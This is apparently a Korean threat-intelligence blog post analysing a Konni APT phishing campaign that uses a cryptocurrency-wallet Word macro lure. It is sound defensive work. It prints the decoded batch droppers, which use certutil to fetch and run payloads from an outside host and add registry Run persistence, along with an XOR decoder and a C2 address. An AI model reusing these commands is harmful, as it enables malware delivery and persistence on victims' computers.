상세 컨텐츠

본문 제목

암호화폐 내용의 Konni APT 캠페인과 '오퍼레이션 헌터 아도니스'

악성코드 분석 리포트

by 알약(Alyac) 2019. 1. 2. 16:53

본문



안녕하세요? 이스트시큐리티 사이버 위협 인텔리전스(CTI) 전문조직인 시큐리티대응센터 (이하 ESRC)입니다.


일명 캠페인 Konni 이름으로 널리 알려져 있는 위협 벡터는 지난 2014년도부터 주로 북한관련 내용을 담은 루어(Lure) 데이터를 활용해 사이버 공격에 활용되고 있습니다.


ESRC에서는 지난 10월 '작전명 해피 바이러스(Operation Happy Virus)'를 공개한 바 있고, '작전명 디코이 플레인(Decoy Plane)' 위협 인텔리전스 리포트가 2018년 12월에 쓰렛인사이드(Threat Inside)에 등록되었습니다.





공격자들은 지난 2018년 말, 정책 자료 또는 특정 암호화폐 지갑 관련 자료로 위장해 유포된 사례가 발견되었습니다.


ESRC에서는 이번 공격의 연장선을 '작전명 헌터 아도니스(Operation Hunter Adonis)'로 명명해 지속적인 추적을 수행하고 있습니다.



■ KONNI 조직 암호화폐 관련 내용으로 활동?



기존에는 북한 관련 내용이 다수를 차지했지만, 위협조직이 암호화폐 관련 내용도 활용하고 있다는 것에 주목됩니다.


발견된 악성 문서 파일의 이름은 '젠트리온 지갑 관련자료.doc' 이며, 문서 파일이 실행되면 다음과 같이 매크로 (콘텐츠 사용) 실행을 유도하게 됩니다.


 

[그림 1] 악성 문서 파일 실행 화면



만약, 보안 경고를 무시하고 [콘텐츠 사용] 버튼을 클릭해 악성 매크로 코드가 실행되면 특정 명령제어(C&C) 서버와 통신을 시도하게 됩니다.


DOC 문서 파일 내부에 포함되어 있는 악성 매크로 코드는 다음과 같습니다. 매크로에 포함된 sCL 스트링 커맨드라인 코드는 다음과 같습니다.


- 5C7379736E61746976655C636D642E657865202F71202F6320 : \sysnative\cmd.exe /q /c 

- 5C73797374656D33325C636D642E657865202F71202F6320 : \system32\cmd.exe /q /c



[그림 2] 악성 매크로 코드 화면



smo 코드의 명령을 통해 '1.txt' 파일이 연결되고, 추가적인 명령을 수행하게 됩니다. '1.txt' 파일은 'certutil.exe' 명령어에 의해 Base64 코드가 디코딩 됩니다.


실제 '1.txt' 파일은 웹 사이트에 다음과 같이 마치 서명파일 형태처럼 위장되어 등록되어 있습니다.



[그림 3] 서명 파일로 위장되어 있는 텍스트 파일



해당 파일의 '-----BEGIN CERTIFICATE-----' 부분과 '-----END CERTIFICATE-----' 부분을 제거한 후 Base64 코드를 디코딩하면 다음과 같이 배치파일 명령어 조합의 코드가 보여지게 됩니다.



@echo off


if not exist "%PROGRAMFILES(x86)%" (

ct -urlcache -split -f "http://filer2.1apps.com/2.txt" > nul

ct -decode -f 2.txt setup.cab > nul

del /f /q 2.txt > nul

) else (

ct -urlcache -split -f "http://filer2.1apps.com/3.txt" > nul

ct -decode -f 3.txt setup.cab > nul

del /f /q 3.txt > nul

)


del /f /q ct.exe > nul


if not exist "setup.cab" (goto EXIT)


expand setup.cab -F:* %TEMP% > nul

del /f /q setup.cab > nul

%TEMP%\install.bat > nul

goto EXIT


:EXIT

del /f /q %~dpnx0 > nul



배치파일은 '%PROGRAMFILES(x86)%' 폴더 존재여부에 따라 조건분기를 하게 되고, 결국 윈도우즈 운영체제 플랫폼에 따라 32비트의 경우에는 '2.txt', 64비트의 경우에는 '3.txt' 파일이 다운로드되어 디코딩되도록 설정되어 있습니다.


'2.txt', '3.txt' 파일은 각각 다음과 같이 등록되어 있으며, '1.txt' 코드와 동일하게 Base64 형태로 존재합니다.



[그림 4] '2.txt', '3.txt' 파일이 등록되어 있는 화면



분석하던 시점에서 확인된 '2.txt' 파일과 '3.txt' 파일은 1바이트만 다르고, 다른 코드는 모두 동일했습니다. 실제 Base64 디코딩 후에 비교해 보면 압축시간만 다른 CAB 파일이 'setup.cab' 파일명으로 생성되고 내부에 존재하는 3개의 파일은 모두 같은 것으로 확인되었습니다.



[그림 5] Base64 디코딩된 CAB 파일 내부 비교 화면



'setup.cab' 내부에 3개의 파일이 존재하는데, '1.txt' 배치파일 명령에 의해 'install.bat' 파일이 실행됩니다.



@echo off


copy /y %~dp0\Word.exe C:\Users\Public > nul

del /f /q %~dp0\Word.exe > nul

copy /y %~dp0\winnet.ini C:\Users\Public > nul

del /f /q %~dp0\winnet.ini > nul

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchost /t REG_SZ /d "C:\Users\Public\Word.exe" /f > nul

C:\Users\Public\Word.exe > nul


del /f /q %~dpnx0 > nul



'install.bat' 파일의 명령에 의해 압축 내부에 포함되어 있는 'Word.exe', 'winnet.ini' 파일이 복사되고, 재부팅시 자동실행 되도록 레지스트리 Run 값에 등록됩니다.


'Word.exe' 파일은 MFC로 작성되었으며, Hide ALL IP 제품처럼 속성을 위장하고 있는 특징이 있습니다. 공격자가 사용한 변종 중에는 'Alzipupdate.exe', 'BrowserUpdate.exe' 등이 존재합니다.


'BrowserUpdate.exe' 파일의 경우에는 'AhnLab V3Lite Setup Program' 속성으로 위장하고 있기도 합니다.



[그림 6] AhnLab 프로그램으로 위장되어 있는 속성화면



'Word.exe' 파일은 인코딩되어 있는 'winnet.ini' 파일을 디코딩해 특정 명령제어(C2) 서버 103.249.31.159:7777 주소로 통신을 시도하게 됩니다. 디코딩은 바이트별로 인덱스와 +1 XOR 연산을 수행하게 됩니다.



  v1 = strlen(a1);

  result = (char *)operator new(v1 + 1);

  strcpy(result, a1);

  v3 = 0;

  if ( v1 <= 0 )

  {

    result[v1] = 0;

  }

  else

  {

    do

    {

      result[v3] ^= v3;

      ++v3;

    }

    while ( v3 < v1 );

    result[v1] = 0;

  }

  return result;

}



[그림 7] 'winnet.ini' 파일을 로드하는 코드 화면



세션이 연결되면, 문자열 'fxftest' 스트링 코드를 확인해 서버 통신 명령 가능 여부를 확인합니다. 그리고 12가지의 추가 명령을 대기하게 됩니다.



[그림 8] 추가적인 명령어 및 기능설명



C2 서버와 통신이 성공하게 되면 공격자는 추가로 팀뷰어 등 원격제어 기능의 추가 악성코드를 다운로드해 설치하기도 합니다.


'fxftest' 문자를 사용하는 해당 악성코드는 중국어로 제작되어 있고, 2006년부터 중국 사이트에 Babyface 이름의 오픈소스 기반 트로이목마입니다. 


http://read.pudn.com/downloads62/sourcecode/hack/trojan/215589/SRC/Server/Server.cpp__.htm



[그림 8] 중국산 오픈소스 트로이목마 코드 화면



2014년 전후로 본격적인 활동이 포착된 Konni 시리즈는 최근까지도 활발한 위협 조직입니다. 특히, 한국어 기반으로 활동하고, 북한관련 내용으로 공격을 자주 했기에 공격 조직에 대한 관심이 매우 높습니다.


흥미로운 점은 최근 사용된 추가 악성파일에서 Kimsuky 시리즈에서 사용된 바 있는 Team Viewer 유사 모듈을 이용한 공격 기법이 보고되기도 하여, False Flag 가능성 등을 포함해 다양한 TTPs, IoC, IoA 등을 기반으로 면밀한 연구가 필요할 수 있습니다.



■ 유사 위협 사례별 비교 분석과 ADONIS



Konni 조직은 2014년까지 위협 이력이 거슬러 올라가지만, 최근 몇년 사이 공격코드들의 변화를 비교해 보면 어떤 방식으로 진화하고 있는지 살펴볼 수 있습니다.


최근 주로 사용되고 있는 MS Word 매크로 기반 악성코드를 비교해 본 자료입니다.



[그림 9] Konni 시리즈 MS Word 기반 악성파일 비교 자료 (클릭하시면 전체 화면을 보실 수 있습니다.)



공격 벡터에서 주로 많이 발견되었던 PDB 자료는 다음과 같고, 상기 비교 자료의 '12 things Trump should know about North Korea.doc' 파일의 생성파일에서도 확인이 되었습니다.



F:\0_work\_programe\Dlldroper\virus-load\_Result\virus-dll.pdb

F:\0_work\_programe\virus-load920\_Result\virus-dll.pdb

F:\0_work\_programe\virus-load\_Result\virus-dll.pdb

F:\0_work\_programe\virus-loadRussia\_Result\virus-dll.pdb

F:\0_work\_programe\Worm\InfectWorm_Full_20170615\Release\InfectWorm.pdb

F:\0_work\_programe\Worm\InfectWorm_Full_20170816\Release\InfectWorm.pdb

F:\0_work\planes\2017\0414\Doc7\Release\Doc.pdb

F:\0_work\planes\2017\0414\virus-load\_Result\virus-dll.pdb

F:\0_work\planes\2017\0502\virus-load\_Result\virus-dll.pdb

F:\0_work\planes\2017\0502\virus-load\_Result\virus-exe.pdb

F:\0_work\planes\2017\0508\Doc7\Release\Doc.pdb

F:\0_work\planes\2017\0626\virus-load\_Result\virus-dll.pdb

F:\0_work\planes\2017\0920\Doc7\Release\Doc.pdb

F:\0_work\planes\2018\0328\Doc7\Release\Doc.pdb

F:\0_work\planes\2018\forvirus\happy\Release\happy.pdb



물론, DOC 매크로 숙주에 의해 생성된 파일이외에도 EXE, SCR 형태로 유포된 사례에서도 여러차례 포착된 바 있습니다.


ESRC에서는 이와 관련된 공격을 추적 분석하면서 공격 데이터에서 'ADONIS' 라는 계정을 발견하였고, 그리스 신화에 나오는 인물입니다.


사이버 위협 조직들이 보통 그리스 신화의 등장인물 계정을 사용하는 경우도 종종 있지만, 이 계정이 다른 악성코드에서 추가로 발견될지에 주목하고 있습니다.



[그림 10] ADONIS 계정이 포함된 악성 코드 화면


ESRC는 KONNI 위협그룹이 어떤 국가기반으로 활동을 하고 있으며, 앞으로 어떠한 행동을 할지에 집중 모니터링을 수행하고 있습니다.


'KONNI' 캠페인과 관련한 보다 상세한 내용은 '쓰렛 인사이드(Threat Inside)'의 위협 인텔리전스 리포트를 통해 자세한 내용이 공개되어 있으며, 지속적으로 정보를 제공할 예정입니다.


 



관련글 더보기

댓글 영역